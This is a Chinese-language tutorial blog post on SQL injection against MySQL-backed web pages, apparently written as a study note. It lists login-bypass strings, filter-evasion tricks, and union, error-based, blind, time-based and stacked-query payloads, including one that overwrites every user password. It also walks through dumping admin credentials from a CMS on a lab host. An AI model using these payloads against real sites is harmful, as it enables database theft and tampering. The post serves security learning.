• SQL注入漏洞及五大手法


    SQL注入漏洞

    万能用户名

    777' or 1=1 #
    
    admin' or '1'='1
    
    • 1
    • 2
    • 3

    在与数据库交互的地方利用精心设计好的sql语句打破原有的语句结构,达到结果意料之外结果的攻击行为

    • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句
    • 未对用户可控参数进行足够的过滤,便将参数内容拼接到SOL 语句中

    SQL注入分类

    两大基本类型
    • 数字型
    • 字符型
    五大手法
    • 联合查询
    • 报错注入
    • 布尔盲注
    • 延时注入
    • 堆叠查询
    提交参数方式
    • GET 注入

    • POST 注入

    • Cookie 注入

    • HTTP 头部注入

    注入点的位置
    • URL注入
    • 搜索框注入
    • 留言板注入
    • 登录框注入

    注入点判断

    会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL 注入漏洞。

    步骤测试数据测试判断
    1-1 或 +1是否能够回显上一个或者下一个页面(判断是否有回显)
    2’ 或 "是否显示数据库错误信息;根据回显内容可以判断是字符型数据还是数字型。
    3and 1=1and 1=2回显的页面是否不同(布尔类型的状态)
    4and sleep(5)判断页面的返回时间
    5\判断转义

    SQL注入的危害

    ​ 攻击者可以利用 SQL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容(脱库)。

    ​ 在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。

    ​ 如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用 SQL 注入漏洞直接获取 WebShell 或者服务器权限。

    sql漏洞挖掘

    如果near报错语句中没有出现查询的id大概率为数字型注入

    在这里插入图片描述

    数据库的内容会回显到网页中考虑联合查询

    有报错信息考虑报错注入

    有bool类型状态考虑布尔盲注

    延迟语句能够执行考虑延时注入

    Mysql库中的注释

    	注释				URL中显示
    --  减减空格             --+
    #  						%23
    /* */
    
    • 1
    • 2
    • 3
    • 4

    代替空格字符可以用:

    • %0A
    • %0B
    • %0D
    • %A0
      • %A0使用是有限制的可以是linux或者php版本5.2以下
        在这里插入图片描述
    ps如果and被过滤

    and被过滤尝试aANDnd这中字符穿插的方法

    SQL注入基本手法

    联合查询

    ​ 适用数据库中的内容会回显到页面中来的情况。联合查询就是利用 union select 语句,该语句会同时执行两条 select 语句,实现跨库、跨表查询

    条件
    • 两条select语句查询结果具有相同的列数
    • 对应的列数据类型相同
    1. 对目标进行分析查找注入点

    2. 根据报错信息来查看是字符型还是数字型,字符型需要补引号(’ ")数字不用

    3. 使用union关键字进行联合查询 select * from tbName where id=32 union select …

    4. 通过order by进行列数猜测,因为要具有相同的列数如果超出列数就会报错从而快速锁定列数

    5. 锁定列数把所有列数列出来使用数字进行占位 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

    6. 再次查询时就可以找到回显位

    7. 在回显位输入sql函数比如版本,当前库名

    8. 利用 information_schema库中查询当前库中的所有表的个数?id=-33 UNION SELECT 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from

      information_schema.tables where table_schema=database()

    9. 查询所有表名?id=-33 UNION SELECT

      1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

    10. 查询想要查看表的字段?id=-33 UNION SELECT

      1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name=‘cms_users’

    11. 查询该字段下的内容?id=-33 UNION SELECT

      1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users

    报错注入

    ​ 在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。报错注入的原理,就是在错误信息中执行 SQL 语句。触发报错的方式有很多,具体细节也不尽相同。

    group by

    是mysql的一个bug

    需要靠运气多执行几次

    ?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
    
    ?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
    
    • 1
    • 2
    • 3
    extractvalue

    将查询和报错语句混合执行查询语句

    ?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
    
    ?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
    
    • 1
    • 2
    • 3
    updataxml
    ?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
    
    ?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from
    cms_users),0x5e),1)
    
     ?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    布尔盲注

    1. 查询库名长度

      ?id=2’ and length(database())=8 --+

    2. 知道长度开始按位测试

      ?id=2’ and ascii(substr(database(),1,1))=115 --+

    延时注入

    1. 查询库名长度

      ?id=2’ and if(length(database())>1,sleep(5),1) --+

    2. 库名开始按位测试

      ?id=2’ and if(substr(database(),3,1)=‘c’,sleep(5),1) --+

    堆叠查询

    一次 HTTP 请求,可以同时执行多条 SQL 语句,包括增删改查操作
    ?id=2’;update users set password=‘123456’–+

    案例

    获取cms网站后台管理员账密

    联合查询

    寻找注入点 加‘闭合数据库报错可以看到是数字型
    在这里插入图片描述
    利用order by 进行猜测行数猜测15
    在这里插入图片描述
    发现显示正常猜测16发现报错
    在这里插入图片描述
    我们知道他有16行就使用联合查询进行位置判断用将数字当成占位符寻找回显位http://10.9.47.77/cms/show.php?id=35%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15切记要使前面的语句为假
    在这里插入图片描述
    找到回显位是3和11查询一下当前库名 把3的位置换为database()函数
    在这里插入图片描述
    利用information_schema库来查询库名为cms中的表所有表
    在这里插入图片描述
    在这里插入图片描述
    因为查询为多个结果用group_concat()将要查询的字段括起来就会显示在一起还有就是要用转换成16进制要不然union查询会报错
    http://10.9.47.77/cms/show.php?id=35%20and%201=2%20%20union%20select%201,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15%20from%20information_schema.tables%20where%20table_schema=database()
    在这里插入图片描述
    我们可以看到是16进制的我们转换一下
    在这里插入图片描述
    得到了表名cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
    继续查询一下cms_users表名里的字段
    http://10.9.47.77/cms/show.php?id=35%20and%201=2%20%20union%20select%201,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27cms_users%27
    在这里插入图片描述
    转换一下
    在这里插入图片描述
    得到两个字段username,password 进行查询
    http://10.9.47.77/cms/show.php?id=35%20and%201=2%20%20union%20select%201,2,%20concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15%20%20from%20cms_users
    在这里插入图片描述
    账密就查询到了

    报错注入

    ?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) 查询当前库
    在这里插入图片描述
    查找账密
    在这里插入图片描述

    备注

    由于布尔盲注和延迟注入成本太高后续上传python脚本编写

  • 相关阅读:
    Linux C/C++ 编译集锦
    学生HTML个人网页作业作品 简单的IT技术个人简历模板html下载 简单个人网页设计作业 静态HTML个人博客主页
    51单片机演奏兰亭序
    备战蓝桥杯Day17 - 链表
    MySQL(二):表的增删改查
    Maven创建springboot项目,HelloWorld
    PCL 计算一条射线与一个球的相交点
    SpringCloud进阶-Eureka的集群搭建
    MATLB|哈里斯鹰算法HHO在电力系统中的应用
    Mysql基础 (二)
  • 原文地址:https://blog.csdn.net/weixin_70137901/article/details/134248861